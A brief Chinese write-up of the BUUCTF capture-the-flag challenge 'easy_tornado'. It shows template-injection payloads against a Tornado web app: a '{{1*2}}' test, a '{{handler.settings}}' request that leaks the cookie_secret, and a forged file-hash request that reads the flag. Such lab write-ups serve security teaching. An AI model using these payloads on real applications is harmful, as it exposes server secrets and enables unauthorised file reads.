BUUCTF做题笔记 easy_tornado

分类: 文章 • 2024-05-07 12:11:10

[护网杯 2018]easy_tornado

进入页面

BUUCTF做题笔记 easy_tornado 分别查看

模板注入
/error?msg={{1*2}}
测试过滤
payload:error?msg={{handler.settings}}

得cookie_secret
BUUCTF做题笔记 easy_tornado 用PHP解码
最后
payload：/file?filename=/fllllllllllllag&filehash=e9bebc8c9f90af297419119189d8a9e4
进入得flag